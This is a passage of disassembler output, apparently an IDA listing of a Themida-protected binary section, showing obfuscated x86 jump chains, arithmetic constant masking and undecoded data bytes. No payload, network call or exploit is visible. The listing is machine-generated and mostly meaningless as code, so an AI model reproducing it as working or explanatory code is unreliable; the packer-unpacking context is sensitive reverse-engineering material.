loc_5700BA:				; CODE XREF: Themida_:00563B37j
		pop	edi
		mov	ecx, [esp]
		jmp	loc_576A76
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0B8C6809Eh, 0E95AF488h, 0FFFFA472h, 0E932FF66h, 0FFFF0F6Ah
; ---------------------------------------------------------------------------


loc_5700D8:				; CODE XREF: Themida_:005628D3j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 33C72082h
		jmp	loc_56AE62
; ---------------------------------------------------------------------------
		db 80h
		dd 0EFC02EC7h, 2D7FE902h, 148B0000h, 4C48124h, 87000000h
		dd 248B242Ch, 24040824h, 0F34E99Ch, 8B66FFFFh, 1668240Ch
		dd 89000065h, 9EE9243Ch
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57011F:				; CODE XREF: Themida_:005750DBj
		xchg	eax, [esp]
		not	eax
		jmp	loc_576934
; ---------------------------------------------------------------------------


loc_570129:				; CODE XREF: Themida_:0057439Bj
		xor	ecx, esi
		pop	esi
		push	10CBh
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_56AE4D
; ---------------------------------------------------------------------------
a341434LSiuh	db '[34$14$34$‹$$S‰ãh",',0
		align 4
		dd 0BF243C89h, 78684750h, 0FF1B50E9h, 6C28BEFFh, 0BAE96EF4h
		dd 5000048h, 79B202ADh,	83243C8Bh, 0DE6804C4h, 8900007Bh
		dd 9CBD242Ch, 0E92BAE00h, 0FFFF6985h, 56E9C201h, 0D1FFFFE0h
		dd 3BBD55E8h, 29B72562h, 0E4E95DE8h, 66FFFFE8h,	6824048Bh
		dd 2B37h, 89241489h, 2981E9E2h,	2C890000h, 37336824h, 2C8B433Fh
		dd 4C48324h, 36F5814Dh,	29433F37h, 242C8BEAh, 0FF8234E9h
		dd 9FF181FFh, 0E94BE319h, 0FFFFEDD9h, 582434FFh, 0FF8BC7E9h
		dd 4EC83FFh, 0E9243489h, 0FFFFF6CFh, 0E99C5166h, 0FFFF0E4Ah
		dd 1738C281h, 0EA810890h, 1FFE416Eh, 0C281FA29h, 1FFE416Eh
		dd 1738EA81h, 33E90890h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570217:				; CODE XREF: Themida_:0056DEB8j
		push	58F4h
		mov	[esp], ebp
		mov	ebp, 15AC356Ch
		push	esi
		mov	esi, 661E6E95h
		push	esi
		mov	esi, 0D7F54A8h
		add	esi, 12CC233Eh
		xor	esi, 86923384h
		jmp	loc_5679B3
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 4EC815Ch, 89000000h,	0E389241Ch, 0FF5B26E9h,	0C0B60FFFh
		dd 0E98734FFh, 0FFFF0DE2h, 88C3FE59h, 0C05B66DEh, 0C6FE07E6h
		dd 0B5EE80h, 2434FFF0h,	0E089505Ah, 0FF1B0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57027D:				; CODE XREF: Themida_:00565028j
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_575F43
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 0C681E689h, 4, 8704C683h,	0E95C2434h, 1678h
		dd 8158C301h, 2C27E6C7h, 0E9DF295Bh, 105Dh, 6E21B9h, 0F9C7810Eh
		dd 81195D0Ch, 0EB1918EFh, 4EC78155h, 112D72Ch, 4EEF81CFh
		dd 5112D72Ch, 0EB1918B9h, 59CF0155h, 0CF9EF81h,	0C8B195Dh
		dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 5F52E95Ch
		dd 6DBEFFFFh, 0E958C14Bh, 0FFFFCD15h, 4B850h, 0C2290000h
		dd 582434FFh, 0FF4C04E9h, 6C815DFFh, 66FD0424h,	448121F3h
		dd 16CC0424h, 6C01126Ch, 6C810424h, 16CC0424h, 4481126Ch
		dd 66FD0424h, 0BE5621F3h, 6DE7534Eh, 8247401h, 35E1E9h
		dd 0E9E38900h, 1C9Eh, 0C208FCB0h, 4512E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57035A:				; CODE XREF: Themida_:00562407j
		push	edi
		mov	edi, 4
		jmp	loc_57217E
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 348904ECh, 57E68924h, 0A6239BFh, 81D7F730h
		dd 9826C1E7h, 0C4F7815Eh, 14E9004h, 41CE9FEh, 3C290000h
		dd 0F6BE5624h, 12CC51Eh, 5E042474h, 0FF242C81h,	8B625924h
		dd 0C483243Ch, 0A408E904h, 1431FFFFh, 24143324h, 5EA3E9h
		dd 0DEEB8000h, 0B3535166h, 0B2526655h, 0E9D18871h, 0FFFF70DDh
		dd 0E924248Bh, 0FFFFEF13h, 6EE9F829h, 53FFFF70h, 0F8008CB7h
		dd 0FF0DD9E9h, 0E3C380FFh, 347C6855h, 2C8B117Fh, 4C48124h
		dd 52000000h, 0FF545FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5703FD:				; CODE XREF: Themida_:00567797j
		sub	edx, 100FBh
		jmp	loc_5730B7
; ---------------------------------------------------------------------------
		dd 4032C381h, 0C8B166Ch, 4C48124h, 83000000h, 0FF5304C3h
		dd 0E9042474h, 0FFFFA174h, 40558h, 4050000h, 33000000h
		dd 4312404h, 24043324h,	0FFA950E9h, 4C481FFh, 4D000000h
		dd 0BA52D5F7h, 42B3382Ch, 0D5F7EA87h, 95E9EA87h, 66FFFF30h
		dd 0E9241C8Bh, 0FFFFECF1h, 71ABED81h, 48B1C97h,	4C48324h
		dd 5C242C87h, 8904EC83h, 0CF89243Ch, 4229E952h,	0FBFFFFFh
		dd 5206227h, 191F1E0Ah,	0A2DF829h, 5F191F1Eh, 9BD7E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570496:				; CODE XREF: Themida_:0056D621j
		add	ebx, 4
		push	edi
		jmp	loc_56760C
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 75AB924h, 25E9071Ch,	54FFFF39h, 4CA7E95Ah, 81590000h
		dd 4C4h, 4C18100h, 0E9000000h, 0FFFF9DD5h
; ---------------------------------------------------------------------------


loc_5704C8:				; CODE XREF: Themida_:0056787Cj
		mov	edx, ebx
		pop	ebx
		jmp	loc_565C28
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FF707BE9h, 0C30158FFh, 38BAE9h, 43EBD100h
		dd 73B7BF57h, 0FB01341Ah, 38D2E9h, 48B6600h, 0E3895324h
		dd 4C381h, 4BE90000h, 89000010h, 7DB82404h, 507AD814h
		dd 4A74E9h, 2EEA8100h, 8B1B2C68h, 8951243Ch, 4C181E1h
		dd 83000000h, 0C8704C1h, 658FE924h, 0B850FFFFh,	0ED659E7Dh
		dd 0FF671DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570539:				; CODE XREF: Themida_:0056737Aj
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_5644E8
; ---------------------------------------------------------------------------
		db 83h
		dd 348704C6h, 5E18E924h, 3B66FFFFh, 0E6E99CC8h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_57056B:				; CODE XREF: Themida_:005762A4j
		dec	ebp
		neg	ebp
		and	ebp, 35F91154h
		sub	ebp, 0E2C0BA9Eh
		add	esi, ebp
		pop	ebp
		not	esi
		push	eax
		mov	eax, 1B6A64FEh
		xor	esi, eax
		pop	eax
		xor	esi, 0B9719429h
		add	edx, esi
		jmp	loc_56B6BA
; ---------------------------------------------------------------------------


loc_570595:				; CODE XREF: Themida_:0056E960j
		xor	eax, 0DA53AF4Eh
		jmp	loc_56BECD
; ---------------------------------------------------------------------------
		db 81h
		dd 0ED543AC6h, 4ED6F76Fh, 0FFAE41E9h, 0A90E9FFh, 68ADFFFFh
		dd 1617h, 50241C89h, 0D1253CB8h, 2C81505Ah, 855F3E24h
		dd 473DE963h, 405FFFFh,	0E9000000h, 0FFFF76B3h,	5B54535Fh
		dd 4C381h, 0BE560000h, 4, 348BF301h, 4C48124h, 87000000h
		dd 315C241Ch, 3074E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5705FE:				; CODE XREF: Themida_:0056745Bj
		push	esi
		jmp	loc_57667F
; ---------------------------------------------------------------------------


loc_570604:				; CODE XREF: Themida_:0056AF8Fj
		add	esp, 4


loc_570607:				; CODE XREF: Themida_:00565FE1j
					; Themida_:loc_56D46Bj
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	edi
		push	edx
		push	edi
		push	2440227Dh
		jmp	loc_5626E9
; ---------------------------------------------------------------------------
		dd 4DA5E9ACh, 45BFFFFh,	2CC304ABh, 4F00056h, 0E9C32C56h
		dd 0FFFFE32Dh, 4C481h, 48F0000h, 1C895C24h, 2CA0B324h
		dd 66D800EEh, 0E9EEB151h, 0FFFF6728h
; ---------------------------------------------------------------------------


loc_570654:				; CODE XREF: Themida_:0056E9D6j
		mov	ebp, 16576696h
		shr	ebp, 7
		xor	ebp, 45560A40h
		sub	ebp, 4A414F7Dh
		xor	ebp, 4D076831h
		add	ebp, 901B7532h
		jmp	loc_565286
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0E2h
		dd 2101A416h, 0E9575AD5h, 0FFFF157Ah, 0EA623D05h, 76B95152h
		dd 8160042Fh, 7710C5F1h, 8BE98176h, 2982BE67h, 0C30159C8h
		dd 0E924048Bh, 34FDh
; ---------------------------------------------------------------------------


loc_5706AC:				; CODE XREF: Themida_:00562E2Dj
		sub	ebx, edx
		push	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3D01717Dh
		xor	edx, 69EC09F0h
		mov	edi, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_564082
; ---------------------------------------------------------------------------
		dd 4D00059h, 20E95AC2h,	51000013h, 0E80042B5h, 0C3B5E959h
		dd 0FF68FFFFh, 8900004Dh, 6856241Ch, 776Bh, 0BB241C89h
		dd 62FE55DFh, 4B02E3C1h, 1AF38143h, 89F6D203h, 0E7E95BDEh
		dd 5D000029h, 0FF673FE9h, 84F780FFh, 0FF6136E9h, 5393BEFFh
		dd 0EFE9582Fh, 4FFFFC3h, 90B5518Eh, 2C59E828h, 281E04C4h
		dd 41E2CD8h, 689004C4h,	0C03h, 83240C89h, 1C8904ECh, 66246824h
		dd 0C890000h, 80F6B524h, 0E580CACDh, 156EE9B6h,	685FFFFFh
		dd 238Fh, 0FFFA49E9h, 8BF301FFh, 0E8E92434h, 66FFFF19h
		dd 5624048Bh, 0BA52E689h, 7CB616A4h, 0F702EAC1h, 0EEE281DAh
		dd 423D2707h, 3052E9h, 2404FF00h, 8A8E99Ch, 0F101FFFFh
		dd 1E81E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5707A2:				; CODE XREF: Themida_:0056471Bj
		mov	[esp], edi
		jmp	loc_566AF0
; ---------------------------------------------------------------------------
		dw 505Fh
		dd 0B662D3B8h, 84BE5663h, 81365227h, 0E44553F6h, 5EF03155h
		dd 0FFF683E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5707C5:				; CODE XREF: Themida_:00563DDBj
		push	edi
		mov	edi, 588F1C60h
		jmp	loc_567164
; ---------------------------------------------------------------------------


loc_5707D0:				; CODE XREF: Themida_:00563984j
		dec	edi
		sub	edi, 1DACEF7Bh
		add	eax, edi
		jmp	loc_56F069
; ---------------------------------------------------------------------------


loc_5707DE:				; CODE XREF: Themida_:00575674j
		mov	ah, 92h
		add	ah, 1
		add	ah, 66h
		shl	ah, 2
		push	bx
		jmp	loc_575471
; ---------------------------------------------------------------------------
		dd 59E9D9F7h, 81FFFF16h, 4EFh, 243C8700h, 2424895Ch, 0FFD2C5E9h
		dd 21E95CFFh
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_57080F:				; CODE XREF: Themida_:0056C6A5j
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	19A8h
		mov	[esp], ecx
		push	45ADh
		mov	[esp], edi
		mov	edi, 16F31FD9h
		push	75C7h
		mov	[esp], edi
		jmp	loc_56CEBF
; ---------------------------------------------------------------------------


loc_570843:				; CODE XREF: Themida_:005719EDj
		mov	ecx, eax
		jmp	loc_570C5A
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 68243489h, 7E7E5D0Eh, 0FF87E1E9h,	4E6C1FFh, 0FFB053E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570865:				; CODE XREF: Themida_:0056590Dj
		mov	cl, 1Ah
		mov	al, 6Dh
		jmp	loc_56CA32
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 24248B24h, 24048F54h, 4BD55h, 44810000h, 55720424h
		dd 6C010466h, 6C810424h, 55720424h, 55E90466h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570897:				; CODE XREF: Themida_:0057482Bj
		mov	[esp], esi
		mov	esi, 6CBC5C63h
		jmp	loc_576B26
; ---------------------------------------------------------------------------
		dd 1811E95Eh, 0EA810000h, 49E124A5h, 0DB78EA81h, 0D5013A2Eh
		dd 4C5815Ah, 33000000h,	2C31242Ch, 242C3324h, 774E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5708CE:				; CODE XREF: Themida_:00572358j
		mov	ebp, 52A55EB4h
		jmp	loc_5688A9
; ---------------------------------------------------------------------------
		dd 88F7814Fh, 0E919D118h, 0FFFFD5B4h, 83242489h, 8B042404h
		dd 0C483240Ch, 68505504h, 7DA653D0h, 5E0D158h, 3B8AC127h
		dd 2FE9C589h, 83000008h, 0B15104C4h, 6CE98060h,	0F6F1F180h
		dd 99D8E9D1h, 0F781FFFFh, 51C96638h, 0E95FFE01h, 111Ch
		dd 0FF0715E9h, 4B8FFh, 0EC810000h, 4, 89243C89h, 0D03E9C7h
		dd 0E952FFFFh, 39D5h, 2434875Fh, 2404895Ch, 4BF57h, 0F8890000h
		dd 0FFC1015Fh, 45E92434h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570963:				; CODE XREF: Themida_:0056F1ABj
		add	dword ptr [esp], 4
		jmp	loc_56BC6F
; ---------------------------------------------------------------------------


loc_57096C:				; CODE XREF: Themida_:00564D36j
		mov	eax, 8B522B6h
		add	eax, 4FC32870h
		shl	eax, 6
		neg	eax
		dec	eax
		jmp	loc_5697F6
; ---------------------------------------------------------------------------
		db 0B8h, 5, 2Bh
		dd 0E8312417h, 0A6ADE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57098E:				; CODE XREF: Themida_:00562B21j
		push	esp
		jmp	loc_56CCC4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		jmp	loc_57184F
; ---------------------------------------------------------------------------
		dw 77B8h
		dd 31688162h, 0EC8158C3h, 4, 52241C89h,	0FFDA26E9h, 5239B3FFh
		dd 0FF4132E9h, 1ECA81FFh, 0C14FED46h, 0C28104EAh, 0FB002119h
		dd 148BD101h, 976BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5709DA:				; CODE XREF: Themida_:00571D1Dj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	edx, edi
		add	edx, 64A033E4h
		push	dword ptr [edx]
		push	dword ptr [esp]
		jmp	loc_56862A
; ---------------------------------------------------------------------------


loc_5709FC:				; CODE XREF: Themida_:00562931j
		mov	[esp], edx
		jmp	loc_576775
; ---------------------------------------------------------------------------
		dd 210A74BDh, 6C85E908h, 0E95DFFFFh, 0FFFFAE6Bh, 8904EC83h
		dd 1CB1240Ch, 0CC0093B4h, 58E30059h, 289BEB80h,	9BC380C3h
		dd 8073B252h, 2E97AC2h,	59000011h, 1968DAF7h, 89000053h
		dd 11E92414h, 83FFFF10h, 0FF042404h, 45E92434h,	5AFFFFEBh
		dd 3932472Dh, 3985E95Bh, 535C0000h, 58E9E389h, 87000037h
		dd 895C240Ch, 8BBB241Ch, 81718705h, 70E67EEBh, 8950573Ch
		dd 58C789D8h, 13E2E9h, 4C38100h, 87000000h, 335C241Ch
		dd 34312434h, 24343324h, 0E924248Bh, 4151h, 54240489h
		dd 4047E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_570AAA:				; CODE XREF: Themida_:005761BCj
		sub	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_56A6D3
; ---------------------------------------------------------------------------
		db 0D1h
		dd 685155EFh, 53765BF5h, 0CFE98159h, 89FDB40Fh,	0DDF759CDh
		dd 3DB0E581h, 0C58151BFh, 2A1CDF75h, 0B4E9EF31h, 66FFFFAFh
		dd 6824048Bh, 2DB4h, 81240C89h,	4ECh, 4EC8300h,	83242489h
		dd 8F042404h, 0E9562404h, 0FFFFCF8Ch, 4230BA52h, 585275CFh
		dd 0E9D8315Ah, 0FFFFDB57h, 8FABA52h, 0B2E957B8h, 6600002Bh
		dd 4A4AE95Bh, 0C4830000h, 0E9DAF704h, 0FFFFFD6Eh, 8124048Bh
		dd 4C4h, 80C1E900h, 4F68FFFFh, 0FF163E2Bh, 0A7E92434h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_570B57:				; CODE XREF: Themida_:00567063j
		xor	eax, 3D3105C6h
		xor	esi, eax
		jmp	loc_574FAC
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0F6814ED6h, 0D2888006h, 575EF101h, 4BFh, 5FF90100h
		dd 0E9240C87h, 0FFFFE805h, 0E9545550h, 0FFFF49DEh, 60F4BD55h
		dd 6C816369h, 101A0824h, 6C0161E0h, 2DE90824h, 31FFFF07h
		dd 34332434h, 24248B24h, 0BD242C89h, 176E2C43h,	760268h
		dd 24148900h, 0FFFFFFBAh, 9BB850FFh, 35283D73h,	5F864D71h
		dd 158C529h, 0EAC581D5h, 5A77BB3Eh, 0C6C68h, 28DAE900h
		dd 8B66FFFFh, 0EC83240Ch, 78CCE904h, 0D1F7FFFFh, 86E95155h
		dd 0E9FFFF72h, 0FFFF044Ah, 0B6525153h, 8080B15Dh, 0F12857C1h
		dd 0FF915FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570C09:				; CODE XREF: Themida_:0056C912j
		push	esi
		mov	esi, 46D769Ah
		not	esi
		push	ebx
		jmp	loc_567E38
; ---------------------------------------------------------------------------
		db 89h
		dd 9989E9E3h, 6268FFFFh, 89000030h, 6856242Ch, 76BF7913h
		dd 0E9DEF75Eh, 7B6h, 0B951E389h, 4D70555Fh, 0FF6B8CE9h
		dd 3EB951FFh, 8134045Ah, 0D93CD2E9h, 0A17AE948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570C52:				; CODE XREF: Themida_:00568043j
		add	esp, 4
		jmp	loc_56B7F3
; ---------------------------------------------------------------------------


loc_570C5A:				; CODE XREF: Themida_:00570845j
		pop	eax
		add	ebx, ecx
		pop	ecx
		add	ebx, 37D72628h
		sub	ebx, 7DBE7325h
		push	small word ptr [eax]
		jmp	loc_561042
; ---------------------------------------------------------------------------


loc_570C72:				; CODE XREF: Themida_:00564D4Bj
		pop	esp
		pop	esi
		push	20C4h
		mov	[esp], esi
		push	edi
		push	5DDA1AB0h
		pop	edi
		push	edx
		push	edi
		push	ebp
		jmp	loc_567C03
; ---------------------------------------------------------------------------
		db 83h
		dd 0E95704C4h, 0FFFFFBB6h
; ---------------------------------------------------------------------------


loc_570C94:				; CODE XREF: Themida_:0056C3C9j
		push	32ACh
		jmp	loc_5688B1
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 34895C24h, 81E68924h, 4ECh, 242C8900h, 4BDh,	2CCCE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_570CBA:				; CODE XREF: Themida_:00564329j
		sub	esp, 4
		mov	[esp], eax
		add	dword ptr [esp], 4E787F73h
		mov	ebx, [esp]
		jmp	loc_563234
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 0AD59E93Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570CDA:				; CODE XREF: Themida_:00565772j
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		add	ebp, 0C7F6E569h
		jmp	loc_565882
; ---------------------------------------------------------------------------
		db 58h
		dd 4C481h, 0ED810000h, 7FF84AD9h, 0FF52F0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570D01:				; CODE XREF: Themida_:0056DDEAj
		mov	edi, esp
		push	ebp
		mov	ebp, 678D3380h
		shr	ebp, 4
		dec	ebp
		not	ebp
		jmp	loc_5658AB
; ---------------------------------------------------------------------------
		dd 0F22A805h, 22F2D1Bh,	0EC81216Bh, 4, 81243489h, 4ECh
		dd 7E60E900h, 372CFFFFh, 83683504h, 89000069h, 0DFB7241Ch
		dd 1C8BF828h, 1C086824h, 2C890000h, 0E9E58924h,	0FFFF920Ch
; ---------------------------------------------------------------------------


loc_570D54:				; CODE XREF: Themida_:00562DF9j
					; Themida_:00563A8Bj ...
		push	edi
		push	1BE7h
		mov	[esp], esp
		jmp	loc_5747A0
; ---------------------------------------------------------------------------
		dw 405h
		dd 50000000h, 0FF3FF7E9h, 2434FFFFh, 0E924048Bh, 0FFFFE3EAh
; ---------------------------------------------------------------------------


loc_570D78:				; CODE XREF: Themida_:00572DF1j
		sub	edi, 131348Ch
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_56EAFE
; ---------------------------------------------------------------------------


loc_570D89:				; CODE XREF: Themida_:0056FEBAj
		pop	ecx
		not	edi
		or	edi, 559030A9h
		sub	edi, 7987704Bh
		add	edi, 98E5DAFh
		jmp	loc_5615A4
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5A042474h, 5C24048Fh, 23CCE9h, 7EAC100h, 81A3F281h
		dd 0D3014A74h, 8BD9295Ah, 8957241Ch, 4C781E7h, 83000000h
		dd 0FF5704C7h, 0E9042474h, 0FFFF80AAh, 5C240C87h, 0E9243C89h
		dd 0FFFFD7FAh, 0E95DEA31h, 5C0Fh
; ---------------------------------------------------------------------------


loc_570DEC:				; CODE XREF: Themida_:00568718j
		and	eax, edx
		pop	edx
		jmp	loc_5731ED
; ---------------------------------------------------------------------------
aIHj		db '‰<$h¦',27h,0
		align 4
		dd 56240C89h, 2B0486BEh, 75C68151h, 89DDE718h, 9C685EF1h
		dd 89000050h, 34FF240Ch, 243C8B24h, 4C481h, 0C4830000h
		dd 3ACE904h, 0DAF7FFFFh, 0FF202CE9h, 80F181FFh,	8176AB4Ah
		dd 7C68C8F1h, 0EA98E923h, 1D68FFFFh, 0FF61920Ah, 815D2434h
		dd 4C4h, 0CCBB5300h, 4B71F951h,	0A3E9D3F7h, 8800001Ah
		dd 148B59CFh, 4C48324h,	81240C8Bh, 4C4h, 28F00400h, 0E9F02CF8h
		dd 0FFFF5217h, 6652665Ch, 662D00BAh, 5E8EE281h,	70EA8166h
		dd 0D00166A0h, 0FF2078E9h, 148B59FFh, 5DE95724h, 8BFFFF09h
		dd 85E9242Ch
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570EA7:				; CODE XREF: Themida_:00573AD6j
		shr	dl, 8
		push	bx
		jmp	loc_56715D
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0DCh
		dd 134ED0Ah, 8B08246Ch,	0C483242Ch, 241C8B04h, 4C481h
		dd 31E90000h, 80FFFF3Ah, 0C680CCEEh, 0DE005961h, 0EAB05066h
		dd 5866C628h, 737BE95Bh, 57E9FFFFh, 0BFFFFF01h,	0FD51EBFh
		dd 8646EBBh, 5FFB296Dh,	0CCBA53BEh, 1EEE81A2h, 1409237h
		dd 1F7FE9DEh, 0C15E0000h, 19E907E6h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_570F13:				; CODE XREF: Themida_:00567681j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		push	edi
		mov	edi, 4B420F08h
		add	edi, 0FFFFFFFFh
		dec	edi
		push	esi
		mov	esi, 4B420F02h
		sub	edi, esi
		jmp	loc_56D8B7
; ---------------------------------------------------------------------------
		db 58h,	29h, 0FBh
		dd 123DC381h, 835F3419h, 1C8904ECh, 1C8B5A24h, 4C48324h
		dd 0FF2D12E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570F55:				; CODE XREF: Themida_:0057127Aj
		pop	ecx
		jmp	loc_57596F
; ---------------------------------------------------------------------------
		db 81h
		dd 0A60B90EBh, 4012E94Ah, 815C0000h, 4C4h, 68E1F700h, 39DBh
		dd 50241489h, 0C4E99Ch,	0EC83FFFFh, 5520E904h, 0C1830000h
		dd 240C3304h, 33240C31h, 5C240Ch, 1E0768D8h, 0C890000h
		dd 3E05E924h, 0C4830000h, 0E0895004h, 6ED1BD55h, 0E9456F1Eh
		dd 1CEAh, 31311B8h, 3D58E931h, 248B0000h, 0B51AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570FC6:				; CODE XREF: Themida_:0056372Dj
		sub	ebp, ecx
		jmp	loc_563C47
; ---------------------------------------------------------------------------
		db 52h,	0FFh, 74h
		dd 8F5A0424h, 0E95C2404h, 0FFFF2DA0h, 4E240481h, 587B174Bh
		dd 0A4D5E955h, 0ED81FFFFh, 0FFFFFFFFh, 5206E5C1h, 30EE68h
		dd 0B667E900h, 0E3C1FFFFh, 0CD91E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571006:				; CODE XREF: Themida_:0056617Cj
		mov	ebp, 502539B3h
		shr	ebp, 6
		xor	ebp, 6560FF11h
		sub	ebx, ebp
		jmp	loc_56D4E9
; ---------------------------------------------------------------------------


loc_57101B:				; CODE XREF: Themida_:005721C8j
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_574C86
		push	edi
		jmp	loc_56BAB1
; ---------------------------------------------------------------------------
		dd 1FE9E681h, 0EE810E59h, 0FFBEF0CAh, 295EF189h, 5908244Ch
		dd 0FFCB1BE9h, 83B7FFh,	2EE959CFh, 51FFFFE6h, 1A4F68h
		dd 242C8900h, 0C02DECBDh, 0C581453Dh, 671F0D59h, 555AED81h
		dd 0E5C16D4Bh, 51DDF704h, 0FFC374E9h, 0D4E95CFFh, 5FFFFCEh
		dd 3E347652h, 4EC835Bh,	83243489h, 2C8904ECh, 6921BD24h
		dd 42E97C5Fh
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571097:				; CODE XREF: Themida_:0056B5A2j
		mov	[esp], ecx
		mov	ecx, 2267209Eh
		inc	ecx
		neg	ecx
		inc	ecx
		push	ecx
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		pop	ecx
		neg	ecx
		sub	ecx, 0DD98DF5Fh
		jmp	loc_567899
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 57000000h,	5890BE56h, 97E97EE7h, 8FFFFF01h
		dd 2BE5E902h, 0C0830000h, 932CE901h, 0DE01FFFFh, 4C6815Bh
		dd 56000000h, 42474FFh,	24048F5Eh, 6824248Bh, 1F81h, 56243C89h
		dd 2D14E9h
		db 0
; ---------------------------------------------------------------------------


loc_571101:				; CODE XREF: Themida_:005758A1j
		or	ebp, 291952BEh
		jmp	loc_5610D3
; ---------------------------------------------------------------------------


loc_57110C:				; CODE XREF: Themida_:0057207Fj
		add	esp, 4
		push	711Fh
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	6B9Dh
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, 67045F6Eh
		jmp	loc_574D56
; ---------------------------------------------------------------------------
		dw 8158h
		dd 647145EDh, 0A6B8507Eh, 2565E104h, 78A256D3h,	754AC205h
		dd 58C529A0h, 335CC581h, 0E58122AFh, 79C6676Ch,	0FF74E995h
		dd 6C01FFFFh, 25E90424h, 5BFFFF09h, 19E9F931h, 8B00004Dh
		dd 0C481241Ch, 4, 0FF4B48E9h, 241489FFh, 4BAh, 0C2C58100h
		dd 177E43Ch, 0C2ED81D5h, 8B77E43Ch, 83E92414h, 80000056h
		dd 0E98049E1h, 0AE48E968h, 0F681FFFFh, 26236FCh, 3208C681h
		dd 0F789204Ah, 90C3815Eh, 0E9777B1Fh, 1A48h, 6824248Bh
		dd 0
		dd 24FFBE56h, 5FE96259h, 66FFFFDEh, 66243487h, 6677D968h
		dd 66243489h, 0E9243C31h, 2168h, 24048B66h, 4EC8353h, 50242489h
		dd 4B8h, 24440100h, 0E95B5804h,	0FFFFF978h, 586468h, 240C8900h
		dd 0D5F6C4B5h, 0F580CDFEh, 0D6C58023h, 0FFED16E9h, 3E1C1FFh
		dd 29EAE981h, 0CB89CC80h, 0FF3696E9h, 0FECAFEFFh, 356BE9CAh
		dd 0A368FFFFh, 0E900005Dh, 0FFFF52AFh, 240C8B66h, 0DAFEE950h
		dd 0C483FFFFh, 4C18104h, 53000000h, 4BBh, 5BD90100h, 31240C33h
		dd 0C33240Ch, 24248B24h, 0FF7E19E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571271:				; CODE XREF: Themida_:0057157Dj
		mov	ch, 7
		add	ch, bh
		pop	ebx
		mov	dl, 3Ah
		add	dl, ch
		jmp	loc_570F55
; ---------------------------------------------------------------------------
		db 81h
		dd 0A95E97EAh, 27DAE911h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57128A:				; CODE XREF: Themida_:0056808Cj
		mov	ebx, [esp]
		add	esp, 4
		push	eax
